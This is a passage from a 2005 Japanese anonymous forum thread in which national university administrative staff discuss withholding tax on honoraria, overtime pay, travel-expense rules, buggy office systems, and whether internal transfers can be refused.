源泉徴収すればいいだけの話。
課税非課税なんてあとの確定申告でどうにでもなる。
958:非公開＠個人情報保護のため
05/03/04 19:59:46
年度末ですねー
959:非公開＠個人情報保護のため
05/03/04 20:38:39
文科系学部ジムは、暇です。毎日６時までには、退庁。
960:非公開＠個人情報保護のため
05/03/04 20:42:12
部局の経理系の係は月にどの程度残業されていますか？事務局（財務）は、残業が
多くてつらいです。
961:非公開＠個人情報保護のため
05/03/04 20:49:44
受験希望者なんですが、採用試験にはどのような問題が出るのですか？過去問とかあるんですか？
962:非公開＠個人情報保護のため
05/03/04 21:02:43
>>959
それが普通だろ。
毎日深夜までやってるほうが異常。
残業したらちゃんと残業手当申請しろよ。
963:非公開＠個人情報保護のため
05/03/04 21:04:15
ちなみに俺はちゃんと残業した分申請して、申請した分ちゃんと付く。
先月は６２時間だった。
964:非公開＠個人情報保護のため
05/03/04 21:40:53
早く帰りましょうねー
965:956
05/03/04 22:18:02
でも前年度までは，国だったから
経営協議会とかの委員会出席の謝金って
○給で課税してませんでしたかねぇ？
ずっと○報で課税してたのかなぁ？
少なくとも前年度まで，うちは○給でしたよ。
１万円以内は課税もしてなかったんすよね。
966:非公開＠個人情報保護のため
05/03/04 22:23:41
みなさん、そろそろ次スレのタイトルを！
967:957
05/03/04 22:34:20
>>965
要するに○給でも○報でも
源泉徴収が大事って事。
（１０％やら１人で１００万超えは２０％とか）
俺は謝金報酬は○報でやってる。（外部の人だから）
○給は内部関係の職員給与・賞与支払いのみ。（当たり前か）
最終的には謝金は雑所得か給与所得だから
そちらの区分が大事。
>>960
経理時代の残業は月１４０時間くらいだった。
給与税金だけでなく予算補助宿題・監査・検査院提出もしてたからな。
968:非公開＠個人情報保護のため
05/03/04 22:37:09
国立大学の事務19～みんな昔は公務員だった～
なんてどうですかー
969:非公開＠個人情報保護のため
05/03/04 22:38:23
国立大学の事務19～事務の悲劇～
なんてのもありますよー
970:非公開＠個人情報保護のため
05/03/04 22:41:28
おばちゃんひまなの？
971:非公開＠個人情報保護のため
05/03/04 22:48:34
国立大学の事務 第19弾～残業暴騰24時～
972:非公開＠個人情報保護のため
05/03/04 22:53:07
>>952
お前、ゴミだね（ﾌﾟｹﾞﾗ
973:非公開＠個人情報保護のため
05/03/04 22:55:28
国立大学の事務19～彫金ゼロ時代～
974:非公開＠個人情報保護のため
05/03/04 22:55:51
なぜ、いくら残業しても十数時間しかつかないのか？？？？？
975:非公開＠個人情報保護のため
05/03/04 22:59:06
今年の学内異動の内示はいつかな。憂鬱な季節。拒否権発動。
976:非公開＠個人情報保護のため
05/03/04 23:01:47
人事いる奴っていつもいいとこに異動するわな
977:非公開＠個人情報保護のため
05/03/04 23:11:19
>>976
それが人事の特権だろ？ちがうか？
978:非公開＠個人情報保護のため
05/03/04 23:11:24
>>924
ウチと同じだなぁ。パッチ当てたら新たなバグを生んでる。
あそこは会社としての姿勢がなってないよ。
979:非公開＠個人情報保護のため
05/03/04 23:30:42
ドクホウカしたんだし、SE雇いまくって情報の奴ら首ちょんぱな人事しないかな
980:非公開＠個人情報保護のため
05/03/04 23:54:15
国立大学の事務19～春を待つ内示～
981:非公開＠個人情報保護のため
05/03/04 23:58:03
それよりももう公務員板から撤退して
いい加減リーマン板にでも移した方が良い。
982:非公開＠個人情報保護のため
05/03/04 23:58:34
国立大学の事務１９～単なるリーマンへ～
983:非公開＠個人情報保護のため
05/03/05 00:10:04
>>981
自治厨は新で好し
984:非公開＠個人情報保護のため
05/03/05 00:20:44
>>974
ちゃんと申請しないから。
985:非公開＠個人情報保護のため
05/03/05 00:21:58
>>978
それよりも制度をシンプルにしないと、どこが電算化しようとしてもバグだらけになる罠。
986:非公開＠個人情報保護のため
05/03/05 00:23:17
旅費にして窮余にしても規則が複雑杉
そこに手つけん限りどんなｼｽﾃﾑ入れても無駄だろ
987:非公開＠個人情報保護のため
05/03/05 00:24:21
>>979
民間SEもレベル低いの大杉。まともなSEはごくわずかしかいない。
若いやつはそもそも経験不足で使い物にならんし、経験積んだいいSEは大学なんか来るはずがない。
988:非公開＠個人情報保護のため
05/03/05 00:25:19
>948
まぁ中期計画期間中は積み立てられるから、交付金減にはならないのかも。
６年後は頑張って０にするんだろうな。残ってたら国に没収、かつ次の中期計画
期間の交付金配賦に影響与えそうだから。
ところで、経営努力認定による積み立て（繰越）と、事故繰越って、取扱い違うの？
989:986
05/03/05 00:26:15
「も」が抜けたった・・・orz
そう言えばﾄﾄｰﾘ大の旅費計算外注はうまくいってんのかねぇ
990:非公開＠個人情報保護のため
05/03/05 00:55:21
そういや、灯台が職員に広く求めた「業務改善提案」で
事務職員グループ（といっても２人？）による旅費の改善案が
特賞をもらってたね。回覧でまわってきた灯台学内広報で見たんだけど。
あれ、どんな改善案だったんだろうね？
（できれば灯台、「こんなことやっているんですよ」って話じゃなく
ＨＰかなんかで内容も公開してほしいんだけどさ。難しいかなあ）
991:非公開＠個人情報保護のため
05/03/05 19:44:51
>963
３６協定どうなってるんだろ
うちの学校は通常上限３０、多忙上限４５、
だけど年間通算３６０
さて、首でも洗って異動を待ちたいもんだが
992:非公開＠個人情報保護のため
05/03/05 20:06:23
学内異動は、内示で拒否できるんですか？
993:非公開＠個人情報保護のため
05/03/05 20:23:26
学内はふつうは無理
994:名無しでＧｏ！
05/03/05 20:27:38
>>992
拒否できるのは”住居の移動（引越し）を伴う異動”だけ。
これも断り続ける香具師が多いと後のほうの香具師はかなり
しつこく言われることになり断るのに往生する。
学外異動でも住居から通えれば学内異動と同じ扱い。
995:sage
05/03/05 20:33:02
>>992
できるぞ。
泣き叫んで、引っくり返した奴、退職した奴、自殺など・・・。
尋常ではないが・・・・。
996:非公開＠個人情報保護のため
05/03/05 20:58:18
法的に言えば、学内の移動と在籍出向は拒否不可。
転籍出向は本人の同意が必要で拒否可。
997:非公開＠個人情報保護のため
05/03/05 21:52:47
桜井の配属先をよろしく教えてください。
998:非公開＠個人情報保護のため
05/03/05 22:46:17
998
999:非公開＠個人情報保護のため
05/03/05 22:47:13
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